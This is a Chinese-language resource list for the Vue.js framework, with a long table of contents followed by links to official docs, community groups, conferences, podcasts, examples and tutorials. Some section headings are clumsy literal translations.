- [官方资源](#%E5%AE%98%E6%96%B9%E8%B5%84%E6%BA%90)
- [外部资源](#%E5%A4%96%E9%83%A8%E8%B5%84%E6%BA%90)
- [工作门户](#%E5%B7%A5%E4%BD%9C%E9%97%A8%E6%88%B7)
- [社区](#%E7%A4%BE%E5%8C%BA)
- [会议](#%E4%BC%9A%E8%AE%AE)
- [播客](#%E6%92%AD%E5%AE%A2)
- [YouTube频道](#youtube%E9%A2%91%E9%81%93)
- [官方实例](#%E5%AE%98%E6%96%B9%E5%AE%9E%E4%BE%8B)
- [教程](#%E6%95%99%E7%A8%8B)
- [例子](#%E4%BE%8B%E5%AD%90)
- [校对到这里](#%E6%A0%A1%E5%AF%B9%E5%88%B0%E8%BF%99%E9%87%8C)
- [图书](#%E5%9B%BE%E4%B9%A6)
- [使用Vue.js的项目](#%E4%BD%BF%E7%94%A8vuejs%E7%9A%84%E9%A1%B9%E7%9B%AE)
- [开源](#%E5%BC%80%E6%BA%90)
- [你可以远程看系统资源通过web浏览器的使用无处不在.](#%E4%BD%A0%E5%8F%AF%E4%BB%A5%E8%BF%9C%E7%A8%8B%E7%9C%8B%E7%B3%BB%E7%BB%9F%E8%B5%84%E6%BA%90%E9%80%9A%E8%BF%87web%E6%B5%8F%E8%A7%88%E5%99%A8%E7%9A%84%E4%BD%BF%E7%94%A8%E6%97%A0%E5%A4%84%E4%B8%8D%E5%9C%A8)
- [应用程序/网站](#%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E7%BD%91%E7%AB%99)
- [互动体验](#%E4%BA%92%E5%8A%A8%E4%BD%93%E9%AA%8C)
- [企业使用](#%E4%BC%81%E4%B8%9A%E4%BD%BF%E7%94%A8)
- [A11y](#a11y)
- [组件和库](#%E7%BB%84%E4%BB%B6%E5%92%8C%E5%BA%93)
- [UI组件](#ui%E7%BB%84%E4%BB%B6)
- [表](#%E8%A1%A8)
- [通知](#%E9%80%9A%E7%9F%A5)
- [装载机](#%E8%A3%85%E8%BD%BD%E6%9C%BA)
- [进度条](#%E8%BF%9B%E5%BA%A6%E6%9D%A1)
- [提示](#%E6%8F%90%E7%A4%BA)
- [覆盖](#%E8%A6%86%E7%9B%96)
- [视差](#%E8%A7%86%E5%B7%AE)
- [图标](#%E5%9B%BE%E6%A0%87)
- [菜单](#%E8%8F%9C%E5%8D%95)
- [减号输入](#%E5%87%8F%E5%8F%B7%E8%BE%93%E5%85%A5)
- [圆盘传送带](#%E5%9C%86%E7%9B%98%E4%BC%A0%E9%80%81%E5%B8%A6)
- [图表](#%E5%9B%BE%E8%A1%A8)
- [时间](#%E6%97%B6%E9%97%B4)
- [日历](#%E6%97%A5%E5%8E%86)
- [地图](#%E5%9C%B0%E5%9B%BE)
- [音频视频](#%E9%9F%B3%E9%A2%91%E8%A7%86%E9%A2%91)
- [无限滚动](#%E6%97%A0%E9%99%90%E6%BB%9A%E5%8A%A8)
- [拉来刷新](#%E6%8B%89%E6%9D%A5%E5%88%B7%E6%96%B0)
- [降价](#%E9%99%8D%E4%BB%B7)
- [PDF](#pdf)
- [树](#%E6%A0%91)
- [社交分享](#%E7%A4%BE%E4%BA%A4%E5%88%86%E4%BA%AB)
- [二维码](#%E4%BA%8C%E7%BB%B4%E7%A0%81)
- [搜索](#%E6%90%9C%E7%B4%A2)
- [杂](#%E6%9D%82)
- [标签](#%E6%A0%87%E7%AD%BE)
- [形成](#%E5%BD%A2%E6%88%90)
- [可编辑](#%E5%8F%AF%E7%BC%96%E8%BE%91)
- [选择器](#%E9%80%89%E6%8B%A9%E5%99%A8)
- [发电机](#%E5%8F%91%E7%94%B5%E6%9C%BA)
- [日期选择器](#%E6%97%A5%E6%9C%9F%E9%80%89%E6%8B%A9%E5%99%A8)
- [选择](#%E9%80%89%E6%8B%A9)
- [滑块](#%E6%BB%91%E5%9D%97)
- [拖放](#%E6%8B%96%E6%94%BE)
- [自动完成](#%E8%87%AA%E5%8A%A8%E5%AE%8C%E6%88%90)
- [键入选择](#%E9%94%AE%E5%85%A5%E9%80%89%E6%8B%A9)
- [选色器](#%E9%80%89%E8%89%B2%E5%99%A8)
- [开关](#%E5%BC%80%E5%85%B3)
- [屏蔽输入](#%E5%B1%8F%E8%94%BD%E8%BE%93%E5%85%A5)
- [富文本编辑](#%E5%AF%8C%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91)
- [图像处理](#%E5%9B%BE%E5%83%8F%E5%A4%84%E7%90%86)
- [上传文件](#%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6)
- [上下文菜单](#%E4%B8%8A%E4%B8%8B%E6%96%87%E8%8F%9C%E5%8D%95)
- [杂](#%E6%9D%82-1)
- [巫师](#%E5%B7%AB%E5%B8%88)
- [CSV](#csv)
- [评论系统](#%E8%AF%84%E8%AE%BA%E7%B3%BB%E7%BB%9F)
- [帆布](#%E5%B8%86%E5%B8%83)
- [链接预览](#%E9%93%BE%E6%8E%A5%E9%A2%84%E8%A7%88)
- [游览](#%E6%B8%B8%E8%A7%88)
- [UI布局](#ui%E5%B8%83%E5%B1%80)
- [构架](#%E6%9E%84%E6%9E%B6)
- [响应](#%E5%93%8D%E5%BA%94)
- [移动](#%E7%A7%BB%E5%8A%A8)
- [组件集合](#%E7%BB%84%E4%BB%B6%E9%9B%86%E5%90%88)
- [移动](#%E7%A7%BB%E5%8A%A8-1)
- [管理员模板](#%E7%AE%A1%E7%90%86%E5%91%98%E6%A8%A1%E6%9D%BF)
- [服务器端呈现](#%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E5%91%88%E7%8E%B0)
- [静态网站生成器](#%E9%9D%99%E6%80%81%E7%BD%91%E7%AB%99%E7%94%9F%E6%88%90%E5%99%A8)
- [其他](#%E5%85%B6%E4%BB%96)
- [UI实用程序](#ui%E5%AE%9E%E7%94%A8%E7%A8%8B%E5%BA%8F)
- [事件处理](#%E4%BA%8B%E4%BB%B6%E5%A4%84%E7%90%86)
- [响应式设计](#%E5%93%8D%E5%BA%94%E5%BC%8F%E8%AE%BE%E8%AE%A1)
- [形成](#%E5%BD%A2%E6%88%90-1)
- [验证](#%E9%AA%8C%E8%AF%81)
- [调整](#%E8%B0%83%E6%95%B4)
- [滚动](#%E6%BB%9A%E5%8A%A8)
- [路由](#%E8%B7%AF%E7%94%B1)
- [延迟加载](#%E5%BB%B6%E8%BF%9F%E5%8A%A0%E8%BD%BD)
- [分页](#%E5%88%86%E9%A1%B5)
- [动画](#%E5%8A%A8%E7%94%BB)
- [元标签](#%E5%85%83%E6%A0%87%E7%AD%BE)
- [门户](#%E9%97%A8%E6%88%B7)
- [过滤器](#%E8%BF%87%E6%BB%A4%E5%99%A8)
- [SVG](#svg)
- [杂](#%E6%9D%82-2)
- [WebGL的](#webgl%E7%9A%84)
- [全屏](#%E5%85%A8%E5%B1%8F)
- [页面可见性](#%E9%A1%B5%E9%9D%A2%E5%8F%AF%E8%A7%81%E6%80%A7)
- [印花](#%E5%8D%B0%E8%8A%B1)
- [公用事业](#%E5%85%AC%E7%94%A8%E4%BA%8B%E4%B8%9A)
- [打字稿](#%E6%89%93%E5%AD%97%E7%A8%BF)
- [HTTP请求](#http%E8%AF%B7%E6%B1%82)
- [国际化](#%E5%9B%BD%E9%99%85%E5%8C%96)
- [自定义事件](#%E8%87%AA%E5%AE%9A%E4%B9%89%E4%BA%8B%E4%BB%B6)
- [坚持](#%E5%9D%9A%E6%8C%81)
- [国家管理](#%E5%9B%BD%E5%AE%B6%E7%AE%A1%E7%90%86)
- [终极版](#%E7%BB%88%E6%9E%81%E7%89%88)
- [Mobx](#mobx)
- [认证/授权](#%E8%AE%A4%E8%AF%81%E6%8E%88%E6%9D%83)
- [Vuex公用事业](#vuex%E5%85%AC%E7%94%A8%E4%BA%8B%E4%B8%9A)
- [选项卡之间同步](#%E9%80%89%E9%A1%B9%E5%8D%A1%E4%B9%8B%E9%97%B4%E5%90%8C%E6%AD%A5)
- [GraphQL](#graphql)
- [并发管理](#%E5%B9%B6%E5%8F%91%E7%AE%A1%E7%90%86)
- [代码风格](#%E4%BB%A3%E7%A0%81%E9%A3%8E%E6%A0%BC)
- [CSS](#css)
- [资产管理](#%E8%B5%84%E4%BA%A7%E7%AE%A1%E7%90%86)
- [页面导航](#%E9%A1%B5%E9%9D%A2%E5%AF%BC%E8%88%AA)
- [杂](#%E6%9D%82-3)
- [网络工作者](#%E7%BD%91%E7%BB%9C%E5%B7%A5%E4%BD%9C%E8%80%85)
- [JSX](#jsx)
- [迁移](#%E8%BF%81%E7%A7%BB)
- [双向信息传输](#%E5%8F%8C%E5%90%91%E4%BF%A1%E6%81%AF%E4%BC%A0%E8%BE%93)
- [付款](#%E4%BB%98%E6%AC%BE)
- [条纹](#%E6%9D%A1%E7%BA%B9)
- [格子花呢](#%E6%A0%BC%E5%AD%90%E8%8A%B1%E5%91%A2)
- [积分](#%E7%A7%AF%E5%88%86)
- [谷歌分析](#%E8%B0%B7%E6%AD%8C%E5%88%86%E6%9E%90)
- [扬迪克斯米特里卡](#%E6%89%AC%E8%BF%AA%E5%85%8B%E6%96%AF%E7%B1%B3%E7%89%B9%E9%87%8C%E5%8D%A1)
- [叫研发工具组](#%E5%8F%AB%E7%A0%94%E5%8F%91%E5%B7%A5%E5%85%B7%E7%BB%84)
- [检查](#%E6%A3%80%E6%9F%A5)
- [文档](#%E6%96%87%E6%A1%A3)
- [试验](#%E8%AF%95%E9%AA%8C)
- [无需浏览器](#%E6%97%A0%E9%9C%80%E6%B5%8F%E8%A7%88%E5%99%A8)
- [源代码编辑](#%E6%BA%90%E4%BB%A3%E7%A0%81%E7%BC%96%E8%BE%91)
- [原子](#%E5%8E%9F%E5%AD%90)
- [崇高文本](#%E5%B4%87%E9%AB%98%E6%96%87%E6%9C%AC)
- [Vim](#vim)
- [VisualStudio代码](#visualstudio%E4%BB%A3%E7%A0%81)
- [可视演播室](#%E5%8F%AF%E8%A7%86%E6%BC%94%E6%92%AD%E5%AE%A4)
- [括号](#%E6%8B%AC%E5%8F%B7)
- [英特利](#%E8%8B%B1%E7%89%B9%E5%88%A9)
- [Emacs](#emacs)
- [凯特](#%E5%87%AF%E7%89%B9)
- [脚手架](#%E8%84%9A%E6%89%8B%E6%9E%B6)
- [顾客](#%E9%A1%BE%E5%AE%A2)
- [通用的](#%E9%80%9A%E7%94%A8%E7%9A%84)
- [服务器](#%E6%9C%8D%E5%8A%A1%E5%99%A8)
- [电子](#%E7%94%B5%E5%AD%90)
- [部分](#%E9%83%A8%E5%88%86)
- [运行时](#%E8%BF%90%E8%A1%8C%E6%97%B6)
- [命令行/终端](#%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%BB%88%E7%AB%AF)
- [预烧结](#%E9%A2%84%E7%83%A7%E7%BB%93)
<!-- END doctoc generated TOC please keep comment here to allow auto update -->
# 资源
### 官方资源
- [官方 指南](http://vuejs.org/guide/)
- [API 参考](http://vuejs.org/api/)
- [GitHub Repo](https://github.com/vuejs/vue)
- [发布 说明](https://github.com/vuejs/vue/releases)
- [风格 指引](https://vuejs.org/v2/style-guide/)
- [Vue.js 新闻](https://news.vuejs.org/)
### 外部资源
- [Vue.js資料まとめ(for 日本)](https://gist.github.com/hashrock/f575928d0e109ace9ad0) 来自@hashrock
- [Vue.js Newsletter](http://vue-newsletter.com/)- 每周精心挑选的Vue.js新闻
- [Vue.js Tips](http://vuetips.com)- 成为更好的Vue.js开发人员的提示
- [Vue.js Wikipedia](https://en.wikipedia.org/wiki/Vue.js)
- [Vue.js Radar](https://www.vuejsradar.com) - 策划时事通讯+网站，涵盖新的Vue.js发布/贡献。
- [Vue News](https://vuenews.io)- 专注于最新Vue.js新闻和信息的社交网站。
- [Vue Curated Resources](https://hackr.io/tutorials/learn-vue-js) - 推荐的Vue.js课程和教程。
- [BuiltForVue](https://builtforvue.com)所有Vue.JS组件和包的NPM镜像.
### 工作门户
- [Vue.js Jobs - VueJobs](https://vuejobs.com/)- 一个Vue.js招聘门户，可以雇用或聘请所有Vue.js职位。
### 社区
- [Twitter](https://twitter.com/vuejs)
- [官方 论坛](http://forum.vuejs.org/)
- [vue-requests](https://github.com/vuejs/vue-requests) 请求您希望存在的Vue.js模块或获取模块的想法
- [VueJS Iran - Telegram频道和小组（频道bio中可用的群组链接）](https://telegram.me/vue_js)
- [vueslack - 2300+ 个世界用户](https://vueslack.slack.com/)
- [Vue Land - Discord 聊天 服务器](https://vue-land.js.org/)
- [VueJS Russia - Telegram 群 \[俄罗斯语\]](https://t.me/vuejs_ru)
- [VueJS Viet Nam - Facebook 群](https://www.facebook.com/groups/vuejsvietnam/)
- [VueJS 西班牙语 - Slack 群](https://slack.vue-es.org/)
- [VueJS Korean - Slack 群](https://vuejs-korea.signup.team/)
- [VueJS Thailand - Facebook 群](https://www.facebook.com/groups/VuejsThailand/)
- [VueJS Brasil - Telegram 群 \[葡萄牙语\]](https://t.me/vuejsbrasil)
- [VueJS Brasil - Facebook Page \[葡萄牙语\]](https://www.facebook.com/vuejsbrasil/)
- [VueJS Brasil - Facebook 群 \[葡萄牙语\]](https://www.facebook.com/groups/vuejsbr/)
- [VueJS en español - Facebook 群 \[西班牙语\]](https://www.facebook.com/groups/vue.es/)
- [VueJS India 🇮🇳 - Discord chat server](https://goo.gl/mYXKUv)
- [VueJS Indonesia - Telegram 群 \[印尼语\]](https://t.me/vuejsid)
- [VueJS Hong Kong - Facebook group](https://www.facebook.com/groups/887185518120024)
### 会议
- [VueConf](http://conf.vuejs.org)
- [Vue.js London](http://vuejs.london)
- [VueConf US](http://vueconf.us)
### 播客
- [全栈电台 #30 (11-23-2015)](http://www.fullstackradio.com/30)
- [JavaScript Jabber #187 (11-25-2015)](https://devchat.tv/js-jabber/187-jsj-vue-js-with-evan-you)
- [Changelog #184 (11-27-2015)](https://changelog.com/184/)
- [软件工程日报 (12-29-2015)](http://softwareengineeringdaily.com/2015/12/29/front-end-javascript-with-evan-you/)
- [JavaScript Air 016 (03-30-2016)](https://javascriptair.com/episodes/2016-03-30/)
- [Codecasts #2 - Falando Sobre Vuejs e Web Components (2016-08-19) \[pt-BR\]](https://soundcloud.com/codecasts/2-falando-sobre-vuejs-e-web-components)
- [全栈电台 #50 (09-21-2016)](http://www.fullstackradio.com/50)
- [和 Vue.js 框架的作者聊聊前端框架开发背后的故事 \[zh-CN\]](http://teahour.fm/2015/08/16/vuejs-creator-evan-you.html)
- [MW S04E08 - Vue.js - Evan You 和 Sarah Drasner (04-27-2017)](https://modernweb.podbean.com/e/mw-s04e09-evan-yu-sarah-drasner/)
- [Request For Commits #12 - 众筹开源 (Vue.js) (06-15-2017)](https://changelog.com/rfc/12)
- [Web平台播客 132: Vue.js (07-27-2017)](http://thewebplatformpodcast.com/132-vuejs)
- [JavaScript Jabber #276 - Maximilian Schwarzmüller (08-29-2017)](https://devchat.tv/js-jabber/jsj-276-vue-js-maximilian-schwarzmuller)
- [ VueJS 动画 搭配 Sarah Drasner(软件工程日报 01-12-2017)](https://softwareengineeringdaily.com/2017/12/01/animating-vuejs-with-sarah-drasner/)
- [放眼望Vue (Vue上的每周播开始于 03-06-2018)](https://devchat.tv/views-on-vue)
- [官方Vue.js新闻播客](https://news.vuejs.org/)
### YouTube频道
- [VueNYC](https://www.youtube.com/vuenyc)
- [VueConf EU](https://www.youtube.com/channel/UC9dJjbYeXjirDYYVfUD3bSw)
### 官方实例
- [基本 例子](http://vuejs.org/guide/)
- [Vue.js TodoMVC](https://github.com/vuejs/vue/tree/dev/examples/todomvc)
- [CoffeeScript 版本](https://github.com/anfelor/TodoMVC-CoffeeScript-and-Vue.js)
- [**Vue.js HackerNews 副本**](https://github.com/vuejs/vue-hackernews)
- [**Vue.js 2.0 HackerNews 副本**](https://github.com/vuejs/vue-hackernews-2.0)
### 教程
- [Vue.js 概略](https://laracasts.com/series/learn-vue-2-step-by-step)Laracasts.com
- [Vue.js 1.0 新特点](http://www.sitepoint.com/whats-new-in-vue-js-1-0/)sitepoint.com
- [Vuejs 2 认证 教程](https://auth0.com/blog/vuejs2-authentication-tutorial/)Auto0博客
- [创建Github文件资源管理 - Vue.js](https://scotch.io/tutorials/create-a-github-file-explorer-using-vue-js) scotch.io
- [Vue.js 教程](http://vegibit.com/vue-js-tutorial/) vegibit.com
- [Vue.js 搭配 webpack, vue-loader 和 热更新 从头开始构建](http://skyronic.com/2015/12/28/vue-project-scratch/)
- [Vuex 基本: 教程 与 剖析](http://skyronic.com/2016/01/03/vuex-入门-tutorial/)
- [Vuex 介绍 视频 - James Browne 来自伦敦 Vue.js 会议 #1](https://www.youtube.com/watch?v=l1KHL-TX3qs)
- [Vue.js 中文系列视频教程](https://laravist.com/series/vue-js-1-0-in-action-series) laravist.com
- [Vue.js: 基础](http://coligo.io/vuejs-the-入门/) coligo.io
- [VueJs: 组件](https://coligo.io/vuejs-components/) coligo.io
- [Vue.js 的 动态组件](https://coligo.io/dynamic-components-in-vuejs/) coligo.io
- [开发一个 Reactive Invoice 应用 - Vue.js](http://craigmckenna.com/develop-a-reactive-invoice-app-using-vue-js/) craigmckenna.com
- [了解 过滤器 - Vue.js](http://coligo.io/vuejs-filters/) coligo.io
- [混合 应用 示例 - Laravel 和 Vue.js 葡萄牙语](https://www.youtube.com/watch?v=TGSJjDahlrQ)通过维多维利
- [创建markdown编辑器 - VueJs 与 GitHub's API](http://coligo.io/markdown-editor-vuejs/) coligo.io
- [构建一个实时Web分析仪表盘 - NodeJs, Socket.io, 和 VueJs](http://coligo.io/real-time-analytics-with-nodejs-socketio-vuejs/) coligo.io
- [Vue.js 介绍 - 土耳其语](http://oguzhan.in/vue-js-ile-uygulama-gelistirme/)oguzhan.in
- [Vue.js 系列 视频教程 - 西班牙语 (3-8-2016)](https://www.youtube.com/watch?v=IlFk3cyRB0Y&list=PLM-Y_YQmMEqD2EWfWpSbiV3WgShRRW3FE&index=7)YouTube上的Juan Andr
- [构建 书签应用 - Electron, VueJs, 和 Firebase](http://coligo.io/bookmarking-app-electron-vuejs-firebase/) coligo.io
- [构建笔记应用 - 学习 Vuex](https://coligo.io/learn-vuex-by-building-notes-app/) coligo.io
- [Vue.js 系列视频 西班牙语](https://styde.net/curso-de-vue-js/) styde.net
- [**讲解Vue.js 官网 中文-含代码、百度云、youtube**](https://github.com/bhnddowinf/vuejs-learn) bhnddowinf
- [探索 实时应用 - VueJS, ES2015 和 Webpack](https://blog.pusher.com/exploring-real-time-apps-with-vuejs-es2016-and-webpack/) pusher.com
- [Vue.js 印度尼西亚语](https://www.sekolahkoding.com/track/belajar-vue-js) sekolahkoding.com
- [构建移动应用 - Cordova 和 Vue.js](https://coligo.io/building-a-mobile-app-with-cordova-vuejs/) coligo.io
- [Vue.js 系列 俄语](https://www.youtube.com/playlist?list=PL5r0NkdgM0UOxb4Hl81FV5UIgexwTf8h7)在YouTube上
- [Створення сервісу для зберігання файлів з Flask, RethinkDB та Vue.js, ч. 1](http://codeguida.com/post/526/) 乌克兰语
- [VueJS 2 法语 教程](https://www.youtube.com/playlist?list=PLjwdMgw5TTLW-mAtlR46VajrKs4dep3y0)FrançaisparGrafikart
- [Jayway Vue.js 2 研讨会. 构建 电子商务站点 - vue-router, vuex 和 vue-resource](https://github.com/jayway/vue-js-workshop)
- [如何构建出色的Vue.js应用 - Wijmo Controls](http://wijmo.com/blog/how-to-create-great-vuejs-applications-using-wijmo-controls/)
- [**讲解Vue.js 2 官网 中文-含代码、百度云、youtube**](https://github.com/bhnddowinf/vuejs2-learn) bhnddowinf
- [Vue.js 备忘录: 服务端渲染应用, Router, Vuex Store, GraphQL 和 更多](https://www.gitbook.com/book/xpepermint/vue-js-cheatsheet/details) 来自[@xpepermint](https://twitter.com/kristijansedlak)
- [Medium 喜欢图像加载 - Vue.js](https://www.theodo.fr/blog/2016/10/medium-like-image-loading-with-vue-js/)
- [如何使用 Vuex 在 Laravel Spark Project](https://metricloop.com/blog/how-to-use-vuex-in-a-laravel-spark-project)在[Metric Loop](https://metricloop.com/blog)
- [如何去设置 Vuex 模型](https://metricloop.com/blog/how-to-set-up-modules-in-vuex)在[Metric Loop](https://metricloop.com/blog)
- [学习 Vue 2 :一步一脚印](https://laracasts.com/series/learn-vue-2-step-by-step) Laracasts
- [Vue.js 中文教程](http://javascript.ctolib.com/docs/read/vue-js-c-index.html)
- [升级 和 启动 - Vue.js 2.0 框架](https://www.sitepoint.com/up-and-running-vue-js-2-0/) SitePoint
- [如何启用 API调用 - Vuex](https://metricloop.com/blog/how-to-make-api-calls-with-vuex)在[Metric Loop](https://metricloop.com/blog)
- [如何使用Vuex构建功能](https://metricloop.com/blog/how-to-use-vuex-to-build-a-feature)在[Metric Loop](https://metricloop.com/blog)
- [Vue.js 2.0 基本原理](https://www.youtube.com/playlist?list=PLwAKR305CRO_1yAao-8aZiQnBqJeyng4O)DevMarketer,YouTube
- [Vuex - 关于 Vue’s 应用的数据存储 入门 ](https://medium.com/js-dojo/vuex-for-the-clueless-the-missing-primer-on-vues-application-data-store-33fa51ffc3af#.2j25xpfui)
- [实时网格组件 - Laravel, Vue.js, Vuex & Socket.io](https://www.youtube.com/watch?v=Jxefsv5Zqkw&t=3s)
- [VueJS 2 - 完整指南(包括. Vuex) - Udemy 教程](https://www.udemy.com/vuejs-2-the-complete-guide)
- [开发 Web 应用 - Vue.js](https://egghead.io/courses/develop-web-apps-with-vue-js)在[egghead.io](https://egghead.io/)
- [Vue.js 2 - 入门](https://www.youtube.com/playlist?list=PL55RiY5tL51p-YU-Uw90qQH419BM4Iz07)
- [Vue.js 2 & Vuex (入门)](https://www.youtube.com/playlist?list=PL55RiY5tL51pT0DNJraU93FhMzhXxtDAo)
- [Türkçe VueJS Eğitim Videoları](https://www.youtube.com/playlist?list=PLa3NvhdFWNipwk1KXeUpVQnAiAfuBw4El)在YouTube上[Fatih Acet](http://fatihacet.com)
- [6 步 构建 Vue.js 的json树视图组件 - Scratch ](https://devblog.digimondo.io/building-a-json-tree-view-component-in-vue-js-from-scratch-in-six-steps-ce0c05c2fdd8#.738ok0l4p)在[digimondo devblog](https://devblog.digimondo.io/) 来自[Arvid Kahl](https://www.twitter.com/arvidkahldev)
- [翻滚吧 Vue! - OpenLecture 2017.01 in 俄语](https://youtu.be/7pmw5gvWAf8)在YouTube上由Illya Klymov ([@xanf](https://github.com/xanf/))
- [引导你的第一个Vue应用 - vue-cli](https://afropolymath.svbtle.com/bootstrapping-your-first-vue-js-project/) 来自[@afropolymath](https://twitter.com/afropolymath)
- [构建 vue-hackernews-2.0 - Scratch](https://github.com/Detachment/Build-vue-hackernews-2.0-from-scratch) 来自[@ Detachment](https://github.com/Detachment)
- [应用 vue-kindergarten 用户认证授权 - Vue.js 和 Nuxt.js ](https://medium.com/@JiriChara/role-based-authorization-for-your-vue-js-and-nuxt-js-applications-using-vue-kindergarten-fd483e013ec5#.kp81np177)
- [完整 Vue.js 应用教程 - 创建一个 预算 应用 - Vue](http://matthiashager.com/complete-vuejs-application-tutorial) 来自[@matthiaswh](https://github.com/matthiaswh)
- [Vue.js 教程: 预渲染, SEO-友好 示例](https://snipcart.com/blog/vuejs-tutorial-seo-example)
- [Vue.js 介绍 - 适用于足够了解jQuery的人](https://medium.com/@mattrothenberg/vue-js-introduction-for-people-who-know-just-enough-jquery-to-get-by-eab5aa193d77)
- [从 第三方API 获取数据 - Vue.js 和 Axios](https://www.sitepoint.com/fetching-data-third-party-api-vue-axios/)
- [快乐 项目 - Vue 2 (视频)](https://www.packtpub.com/web-development/fun-projects-vue-2-video)由Peter van Meijgaard,派克. (2017年4月)
- [Vue JS: 同时 运作 Express 和 Webpack Dev Server](https://medium.com/dailyjs/vue-js-simultaneously-running-express-and-webpack-dev-server-292f4a7ed7a3)Henrik Fogelberg (Medium)
- [Vue JS 2 教程](https://www.youtube.com/playlist?list=PL4cUxeGkcC9gQcYgjhBoeQH7wiAyZNrYa)在YouTube上[The Net Ninja](https://www.thenetninja.co.uk)
- [5分钟添加 主体CMS 到VueJs](https://www.storyblok.com/tp/add-a-headless-CMS-to-vuejs-in-5-minutes)
- [vue 架构中的 Watcher](https://github.com/dengwanc/dengwanc.github.io/issues/11)
- [构建第一个应用 - Vue.js](http://tutorialzine.com/2016/08/building-your-first-app-with-vue-js/)
- [通过 5 个实践示例 - 学习 Vue.js](http://tutorialzine.com/2016/03/5-practical-examples-for-learning-vue-js/)
- [迁移: 从 KnockoutJS 到 VueJS](https://jes.al/2017/05/migrating-from-knockoutjs-to-vuejs/) 来自[@jesalg](https://twitter.com/jesalg)
- [创建 测验 - Vue.js](https://medium.com/@rap2h/create-a-quiz-with-vue-js-ed1e8e0e8294) 来自[@rap2h](https://twitter.com/rap2h)
- [Vue.js: 入门](https://ecofic.com/courses/vue-getting-started/) 来自[@chadcampbell](https://twitter.com/chadcampbell)
- [Vue.js 2 & Firebase - 构建单页实时Web应用程序](https://www.youtube.com/watch?v=we4zuQIXmnw)
- [Vue.js 2 & Vue-Resource - 具有外部API访问的真实应用程序](https://www.youtube.com/watch?v=p-7Zi9xYt2M)
- [适合初学者的互动 Vue.js 视频](https://scrimba.com/playlist/playlist-38)
- [Vue.JS ile NASA API'ını Kullanarak Veri Çekme](https://www.youtube.com/watch?v=uC5b2VDATDU)在YouTube上[Ali GÖREN](https://aligoren.com)
- [Web 开发 - Vue.js 2 (视频)](https://www.packtpub.com/web-development/web-development-vuejs-2-video)由Olga Filipova,packtpub. (2017年6月)
- [构建实时聊天 - VueJS 和 Pusher](https://blog.pusher.com/build-realtime-chart-with-vuejs-pusher/)
- [介绍 Vue, 前端大师课程](https://github.com/sdras/intro-to-vue)
- [Vue 指南 - CSS-Tricks](https://css-tricks.com/guides/vue/)
- [使用 Typescript 搭配 VueJS ](https://medium.com/coding-blocks/using-typescript-in-your-vue-app-c4aba0bbc8bc)
- [Vue.js视频系列，免费、入门、实战](http://nodelover.me/courses)关于NoDelver
- [Vue.js 预览](https://ninghao.net/course/4256)宁浩网
- [Vue.js: 开发环境的机器 设置](https://www.ecofic.com/about/blog/vue-dev-machine-setup/) 来自[@chadcampbell](https://twitter.com/chadcampbell)
- [构建应用 - Vue v2 , Vue-router](https://www.liquidlight.co.uk/blog/article/building-a-vue-v2-js-app-using-vue-router/) 来自[@mikestreety](https://twitter.com/mikestreety)
- [构建自己的旋转木马 - Vue](https://medium.com/@davidatomhernandez/how-to-a-simple-carousel-with-vue-138715d615d7) 来自[@Atom_Hernandez](https://twitter.com/Atom_Hernandez)
- [单元测试 Vue.js 组件 - 官方测试工具 和 Jest](https://alexjoverm.github.io/series/Unit-Testing-Vue-js-Components-with-the-Official-Vue-Testing-Tools-and-Jest/) 来自[@alexjoverm](https://twitter.com/alexjoverm)
- [创建 Vue.js 过渡 动画 : 活跃的 例子](https://snipcart.com/blog/vuejs-transitions-animations) 来自[@udyuxdev](https://twitter.com/UdyUXDev)
- [创建 自定义 Vue.js 插件](https://alligator.io/vuejs/creating-custom-plugins/)
- [异步 VueJS 第 1 章](https://medium.com/js-dojo/async-in-vue-js-part-1-28d96f751a2e)
- [异步 VueJS 第 2 章](https://medium.com/js-dojo/async-in-vuejs-part-2-45e81c836e38)
- [没有插件的情况下, 使用 localStorage + Vuex 存储](https://www.mikestreety.co.uk/blog/vue-js-using-localstorage-with-the-vuex-store) 来自[@mikestreety](https://twitter.com/mikestreety)
- [使用 props 可以访问组件中的URL参数 - Vue Router](https://www.youtube.com/watch?v=ESg0k2zdME4) 来自[@mikestreety](https://twitter.com/mikestreety)
- [发布 生产模式的Vue.js — SSR(Vuetify) - Pm2 和 Nginx](https://medium.com/@kamerk22/deploy-vue-js-ssr-vuetify-on-production-with-pm2-and-nginx-ec7b5c0748a3)
- [测试 Vue 组件](http://testingvue.com)在[laracast](https://laracasts.com/series/testing-vue)
- [使用Vue.js和Express.js构建完整的全栈Web应用程序](https://www.youtube.com/watch?v=Fa4cRMaTDUI&t=) 来自[@CodyLSeibert](https://twitter.com/CodyLSeibert)
- [Vue.js 2食谱 (视频) ](https://www.packtpub.com/application-development/vuejs-2-recipes-video) 作者: Peter van Meijgaard,Packt. (2017年9月)
- [Vue.js入门](https://sabe.io/tutorials/getting-started-with-vue-js) 来自[Sabe.io](https://sabe.io/)
- [使用Vue 2构建您的第一个高级CRUD应用程序 (视频) ](https://www.packtpub.com/web-development/building-your-first-advanced-crud-application-vue-2-video) 作者: Peter van Meijgaard,Packt. (2017年7月)
- [프론트엔드개발자를위한Vue.js입문서](https://joshua1988.github.io/web-development/vuejs/vuejs-tutorial-for-beginner/)
- [누구나다루기쉬운Vue.js (视频) ](https://www.inflearn.com/course/vue-pwa-vue-js-%EA%B8%B0%EB%B3%B8/) 于[Inflearn](https://www.inflearn.com/) 来自[Pangyo 队长](https://joshua1988.github.io/)
- [在2小时内建立一个Vue.js博客](https://snipcart.com/blog/vuejs-blog-demo#tutorial) 来自[Snipcart](https://snipcart.com/)
- [VueJS-2 入门](https://www.udemy.com/getting-started-with-vue-js)萨钦巴特纳加尔[@sachinbee](https://www.twitter.com/sachinbee) 来自[Udemy](https://udemy.com/)
- [Vuex入门: 在Vue.js中管理状态](https://sabe.io/tutorials/getting-started-with-vuex) 来自[Sabe.io](https://sabe.io/)
- [使用CASL的Vue2 ACL](https://medium.com/@sergiy.stotskiy/vue-acl-with-casl-781a374b987a) 作者: Sergii Stotskyi
- [JavaScript选择变得轻松 - Angular v.React v.Vue (视频) ](https://www.packtpub.com/application-development/javascript-choice-made-easy-%E2%80%93-angular-v-react-v-vue-video) 作者: Daniel Kmak,Packt. (2017年11月)
- [使用Auth0的Vuejs 2.5+认证教程](https://www.storyblok.com/tp/how-to-auth0-vuejs-authentication)在Storyblok博客上
